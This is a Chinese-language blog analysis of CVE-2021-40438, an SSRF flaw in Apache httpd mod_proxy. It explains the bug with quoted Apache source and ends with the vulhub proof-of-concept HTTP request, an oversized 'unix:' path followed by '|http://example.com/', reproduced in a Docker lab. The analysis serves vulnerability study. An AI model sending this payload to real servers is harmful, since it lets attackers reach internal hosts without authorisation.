影响版本
v2.4.48及以下版本
该版本中mod_proxy模块存在一处逻辑错误,导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。该漏洞影响范围较广,危害较大,利用简单,目前已在vulhub上有靶场,在审计代码并分析原理后我会直接用docker创建一个环境。
简单总结
1.使用了mod_proxy,Apache源码中出现逻辑错误是在modules/proxy/proxy_util.c的fix_uds_filename函数
2.使ap_runtime_dir_relative
函数返回值是null
3.需要在unix:
与|
之间传入内容长度大概超过4092的字符串,就能构造出uds_path
为null的结果,让Apache不再发送请求给unix套接字。
4.满足以上条件,使访问后|
面的http链接造成SSRF
正向代理与反向代理
正向代理:隐藏了客户端,代理服务器替代客户端发出请求。客户端与正向代理服务器处于同一局域网。
反向代理:反向代理服务器接受客户端请求后,会把请求分转发到真实提供服务的各台服务器。隐藏了真实服务器,如CDN。
关于mod_proxy
如果我们要部署一个PHP运行环境,且将Apache作为Web应用服务器,那么常用的有三种方法:
Apache以CGI的形式运行PHP脚本
PHP以mod_php的方式作为Apache的一个模块运行
PHP以FPM的方式运行为独立服务,Apache使用mod_proxy_fcgi模块作为反代服务器将请求代理给PHP-FPM
CGI:公共网关接口,描述的是服务器和请求处理程序之间传输数据的一种标准,它会根据客户端输入(环境变量,命令行,标准输入)作出响应,把响应结果传送给 Web 服务器。
第一种方式比较古老,性能较差,支持的交互很有限,有点像10多年前的盗版小说网站,基本已经淘汰;
第二种方式不存在外部的PHP进程,而是由mod_php模块进程解释执行PHP脚本,意味着PHP与Apache通信更方便快捷,在Apache环境下使用较广,配置最为简单,也是目前最常用的一种;
第三种FPM是FastCGI进程管理器,相当于CGI的升级版,传统的CGI进程是用完即销,每次都需要解析配置,初始化环境和分析请求等,而FastCGI会用一个持久的main进程负责以上,同时每次会fork出子进程用以针对处理用户实际的请求
第三种方法也有较大用户体量,不过Apache仅作为一个中间的反代服务器,更多新的用户会选择使用性能更好的Nginx替代。
这其中,第三种方法使用的mod_proxy_fcgi就是mod_proxy模块的一个子模块。mod_proxy是Apache服务器中用于反代后端服务的一个模块,而它拥有数个不同功能的子模块,分别用于支持不同通信协议的后端,比如常见的有:
mod_proxy_fcgi 用于反代后端是fastcgi协议的服务,比如php-fpm
mod_proxy_http 用于反代后端是http、https协议的服务
mod_proxy_uwsgi 用于反代后端是uwsgi协议的服务,主要针对uWSGI
mod_proxy_ajp 用于反代后端是ajp协议的服务,主要针对Tomcat
mod_proxy_ftp 用于反代后端是ftp协议的服务
进行复现的时候会对物理机服务器上的一个页面伪造访问请求,故以分析mod_proxy_http为例
apache hook机制
Apache对HTTP的请求可以分为连接、处理和断开连接三个阶段;从小的方面而言,每个阶段又可以分为更多的子阶段。比如对HTTP的请求,我们可以进一步划分为客户身份验证、客户权限认证、请求校验等阶段,每一个阶段调用相应的函数进行处理。在Apache中,这些子阶段可以用术语hook来描述。因此你只需要创建一个hook,挂于请求处理程序上:“告诉服务器它要么服务用户发起的请求,要么只是瞥一眼该请求。”
Apache所有的模块(包括mod_rewrite, mod_authn_*, mod_proxy等)均是将钩子挂于请求程序的各个部分来实现。这样一来,Apache服务器本身无需知道每个模块具体负责处理哪个部分以及处理什么,它只需要在客户端请求达到的时候询问下哪个模块对这个请求『感兴趣』即可,而每个模块只需选择要还是不要,如果要,那就按照hook定义的内容处理然后返回接口。 通过Hook机制,PHP模块可以在Apache请求处理流程中负责处理那些关于php脚本的请求(即负责解释、执行php脚本)。
漏洞原理分析
这里面,Apache源码中出现逻辑错误是在modules/proxy/proxy_util.c的fix_uds_filename函数:
Apache在配置反代的后端服务器时,有两种情况:
直接使用某个协议反代到某个IP和端口,比如ProxyPass / "http://localhost:8080"
使用某个协议反代到unix套接字,比如ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
第一种情况比较好理解,第二种情况相当于让用户可以使用一个Apache自创的写法来配置后端地址。那么这时候就会涉及到分析语句的过程,需要将这种自创的语法转换成能兼容正常socket连接的结构,而fix_uds_filename函数就是做这个事情的。
使用字符串文法来表示多种含义的方式通常暗藏一些漏洞,比如这里,进入这个if语句需要满足三个条件:
r->filename的前6个字符等于proxy:
r->filename的字符串中含有关键字unix:
unix:关键字后的部分含有字符|
当满足这三个条件后,将unix:
后面的内容进行解析,设置成uds_path
的值;将字符|
后面的内容,设置成rurl
的值。
举个例子,前面介绍中的ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
,在解析完成后,uds_path
的值等于/var/run/www.sock
,rurl
的值等于http://localhost:8080/
。
看到这里其实都没有什么问题,那么我们肯定会思考,r->filename
是从哪来的,用户可控吗,为什么?
这时就要说到另一个函数,proxy_hook_canon_handler
,这个函数用于注册canon handler,比如:
可以看到,每一个mod_proxy_xxx
都会注册一个自己的canon handler,canon handler会在反代的时候被调用,用于告诉Apache主程序它应该把这个请求交给哪个处理方法来处理
我们看到mod_proxy_http
的proxy_http_canon
函数:
static int proxy_http_canon(request_rec *r, char *url)
{
const char *base_url = url;
char *host, *path, sport[7];
char *search = NULL;
const char *err;
const char *scheme;
apr_port_t port, def_port;
int is_ssl = 0;
scheme = get_url_scheme((const char **)&url, &is_ssl);
if (!scheme) {
return DECLINED;
}
port = def_port = (is_ssl) ? DEFAULT_HTTPS_PORT : DEFAULT_HTTP_PORT;
ap_log_rerror(APLOG_MARK, APLOG_TRACE1, 0, r,
"HTTP: canonicalising URL %s", base_url);
/* do syntatic check.
* We break the URL into host, port, path, search
*/
err = ap_proxy_canon_netloc(r->pool, &url, NULL, NULL, &host, &port);
if (err) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01083)
"error parsing URL %s: %s", base_url, err);
return HTTP_BAD_REQUEST;
}
/*
* now parse path/search args, according to rfc1738:
* process the path.
*
* In a reverse proxy, our URL has been processed, so canonicalise
* unless proxy-nocanon is set to say it's raw
* In a forward proxy, we have and MUST NOT MANGLE the original.
*/
switch (r->proxyreq) {
default: /* wtf are we doing here? */
case PROXYREQ_REVERSE:
if (apr_table_get(r->notes, "proxy-nocanon")) {
path = url; /* this is the raw path */
}
else {
path = ap_proxy_canonenc(r->pool, url, strlen(url),
enc_path, 0, r->proxyreq);
search = r->args;
}
break;
case PROXYREQ_PROXY:
path = url;
break;
}
if (path == NULL)
return HTTP_BAD_REQUEST;
if (port != def_port)
apr_snprintf(sport, sizeof(sport), ":%d", port);
else
sport[0] = '\0';
if (ap_strchr_c(host, ':')) { /* if literal IPv6 address */
host = apr_pstrcat(r->pool, "[", host, "]", NULL);
}
r->filename = apr_pstrcat(r->pool, "proxy:", scheme, "://", host, sport,
"/", path, (search) ? "?" : "", search, NULL);
return OK;
}
这个函数中有三个主要的部分,
第一部分检查了配置中的url的开头是不是http:或https:,如果不是,说明这个请求不该由mod_proxy_http模块处理,后续的过程跳过;
第二部分,用各种方式获取到scheme、host、port、path、search等几个URL的组成变量;
第三部分,拼接proxy:、scheme、://、host、sport、/、path、search,成为一个字符串,赋值给r->filename。
这里面,scheme、host、port来自于配置文件中配置的ProxyPass,而path、search来自于用户发送的数据包。也就是说,r->filename中的后半部分是用户可控的。
那我们回看前面的fix_uds_filename函数,它在r->filename中查找关键字unix:,并将这个关键字后面直到|的部分作为unix套接字地址,而将|后面的部分作为反代的后端地址。
发送以下请求返回如下界面
在后端查看log日志显示内容如下,attempt to connect to Unix domain socket /tmp/xxxx,这说明已经把之前配置文件里代理到http://192.168.253.161:8080 链接的配置修改为了访问Unix domain socket套接字。
docker容器日志查看:docker logs 容器id
我们可以通过请求的path或者search来控制这两个部分,控制了反代的后端地址,这也就是为什么这里会出现SSRF的原因。
我们在构造请求包的时候有一个问题,那就是Apache在正常情况下,因为识别到了unix套接字,所以会把用户请求发送给这个本地文件套接字,而不是后端URL
测试
由于我们没有创建unix套接字/var/run/test.sock,当然是访问不了的。
然而我们不能让他把请求发送到unix套接字上,而是发送给我们需要的|后面的地址,这样才能构成SSRF攻击
国外那位作者给出了一个非常巧妙的方法,在fix_uds_filename函数中,unix套接字的地址来自于下面这两行代码:
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);
如果上面ap_runtime_dir_relative
函数返回值是null,则下面获取uds_path
时将不会使用unix套接字地址,而变成普通的TCP连接:
//关键代码
uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path"));
if (uds_path) {
if (conn->uds_path == NULL) {
/* use (*conn)->pool instead of worker->cp->pool to match lifetime */
conn->uds_path = apr_pstrdup(conn->pool, uds_path);
}
// ...
conn->hostname = "httpd-UDS";
conn->port = 0;
}
else {
// TCP
conn->hostname = apr_pstrdup(conn->pool, uri->hostname);
conn->port = uri->port;
// ...
}
//if else全代码
uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path"));
if (uds_path) {
if (conn->uds_path == NULL) {
/* use (*conn)->pool instead of worker->cp->pool to match lifetime */
conn->uds_path = apr_pstrdup(conn->pool, uds_path);
}
if (conn->uds_path) {
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02545)
"%s: has determined UDS as %s",
uri->scheme, conn->uds_path);
}
else {
/* should never happen */
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02546)
"%s: cannot determine UDS (%s)",
uri->scheme, uds_path);
}
/*
* In UDS cases, some structs are NULL. Protect from de-refs
* and provide info for logging at the same time.
*/
if (!conn->addr) {
apr_sockaddr_t *sa;
apr_sockaddr_info_get(&sa, NULL, APR_UNSPEC, 0, 0, conn->pool);
conn->addr = sa;
}
conn->hostname = "httpd-UDS";
conn->port = 0;
}
else {
int will_reuse = worker->s->is_address_reusable && !worker->s->disablereuse;
if (!conn->hostname || !will_reuse) {
if (proxyname) {
//TCP
conn->hostname = apr_pstrdup(conn->pool, proxyname);
conn->port = proxyport;
/*
* If we have a forward proxy and the protocol is HTTPS,
* then we need to prepend a HTTP CONNECT request before
* sending our actual HTTPS requests.
* Save our real backend data for using it later during HTTP CONNECT.
*/
if (conn->is_ssl) {
const char *proxy_auth;
forward_info *forward = apr_pcalloc(conn->pool, sizeof(forward_info));
conn->forward = forward;
forward->use_http_connect = 1;
forward->target_host = apr_pstrdup(conn->pool, uri->hostname);
forward->target_port = uri->port;
/* Do we want to pass Proxy-Authorization along?
* If we haven't used it, then YES
* If we have used it then MAYBE: RFC2616 says we MAY propagate it.
* So let's make it configurable by env.
* The logic here is the same used in mod_proxy_http.
*/
proxy_auth = apr_table_get(r->headers_in, "Proxy-Authorization");
if (proxy_auth != NULL &&
proxy_auth[0] != '\0' &&
r->user == NULL && /* we haven't yet authenticated */
apr_table_get(r->subprocess_env, "Proxy-Chain-Auth")) {
forward->proxy_auth = apr_pstrdup(conn->pool, proxy_auth);
}
}
}
else {
conn->hostname = apr_pstrdup(conn->pool, uri->hostname);
conn->port = uri->port;
}
if (!will_reuse) {
/*
* Only do a lookup if we should not reuse the backend address.
* Otherwise we will look it up once for the worker.
*/
err = apr_sockaddr_info_get(&(conn->addr),
conn->hostname, APR_UNSPEC,
conn->port, 0,
conn->pool);
}
socket_cleanup(conn);
conn->close = 0;
}
if (will_reuse) {
/*
* Looking up the backend address for the worker only makes sense if
* we can reuse the address.
*/
if (!worker->cp->addr) {
#if APR_HAS_THREADS
if ((err = PROXY_THREAD_LOCK(worker)) != APR_SUCCESS) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, err, r, APLOGNO(00945) "lock");
return HTTP_INTERNAL_SERVER_ERROR;
}
#endif
/*
* Recheck addr after we got the lock. This may have changed
* while waiting for the lock.
*/
if (!AP_VOLATILIZE_T(apr_sockaddr_t *, worker->cp->addr)) {
apr_sockaddr_t *addr;
/*
* Worker can have the single constant backend address.
* The single DNS lookup is used once per worker.
* If dynamic change is needed then set the addr to NULL
* inside dynamic config to force the lookup.
*/
err = apr_sockaddr_info_get(&addr,
conn->hostname, APR_UNSPEC,
conn->port, 0,
worker->cp->dns_pool);
worker->cp->addr = addr;
}
conn->addr = worker->cp->addr;
#if APR_HAS_THREADS
if ((uerr = PROXY_THREAD_UNLOCK(worker)) != APR_SUCCESS) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, uerr, r, APLOGNO(00946) "unlock");
}
#endif
}
else {
conn->addr = worker->cp->addr;
}
}
}
如何让ap_runtime_dir_relative
的返回值是null
跟进该函数
AP_DECLARE(char *) ap_runtime_dir_relative(apr_pool_t *p, const char *file)
{
char *newpath = NULL;
apr_status_t rv;
const char *runtime_dir = ap_runtime_dir ? ap_runtime_dir : ap_server_root_relative(p, DEFAULT_REL_RUNTIMEDIR);
rv = apr_filepath_merge(&newpath, runtime_dir, file,
APR_FILEPATH_TRUENAME, p);
if (newpath && (rv == APR_SUCCESS || APR_STATUS_IS_EPATHWILD(rv)
|| APR_STATUS_IS_ENOENT(rv)
|| APR_STATUS_IS_ENOTDIR(rv))) {
return newpath;
}
else {
return NULL;
}
}
可以看到,ap_runtime_dir_relative
函数最后引用了apr库中的apr_filepath_merge
函数,它的主要作用就是路径的join,用于处理相对路径、绝对路径、../
连接。
//由于在我下载的apache2.4.48中用vs追踪未追到该函数所以直接用原文作者贴出部分源码。
APR_DECLARE(apr_status_t) apr_filepath_merge(char **newpath,
const char *rootpath,
const char *addpath,
apr_int32_t flags,
apr_pool_t *p)
{
...
rootlen = strlen(rootpath);
maxlen = rootlen + strlen(addpath) + 4; /* 4 for slashes at start, after
* root, and at end, plus trailing
* null */
if (maxlen > APR_PATH_MAX) {
return APR_ENAMETOOLONG;
}
...
}
这个函数中,当待join的两段路径长度+4大于APR_PATH_MAX,也就是4096的时候,则函数会返回一个路径过长的状态码,导致最后unix套接字的值是null
也就是说,我们只需要在unix:与|之间传入内容长度大概超过4092的字符串,就能构造出uds_path为null的结果,让Apache不再发送请求给unix套接字。
复现
修复Apache官方对这个漏洞的修复也比较简单,因为用户只能控制r->filename的后半部分,而前半部分proxy:{scheme}://{host}{port}/来自于配置文件,所以最新版改成检查其开头是不是proxy:unix:这一用户无法控制的部分。不再发送请求给unix套接字。
利用vulhub提供的poc进行复现,结果如下,复现成功
vulhub poc位置vulhub/vulhub-master/httpd/CVE-2021-40438
/EADME.md或README.zh-cn.md
poc如下
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.253.161:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
测试 SSRF成功利用
apache2.4.48源码下载地址:https://launchpad.net/debian/+source/apache2/2.4.48-2
本文绝大部分内容参考了以下文章:
原文链接:https://blog.csdn.net/Ivyyyyyy1/article/details/124734549
标签:uds,SSRF,apr,40438,2021,path,port,conn,proxy From: https://www.cnblogs.com/jdslf/p/16846682.html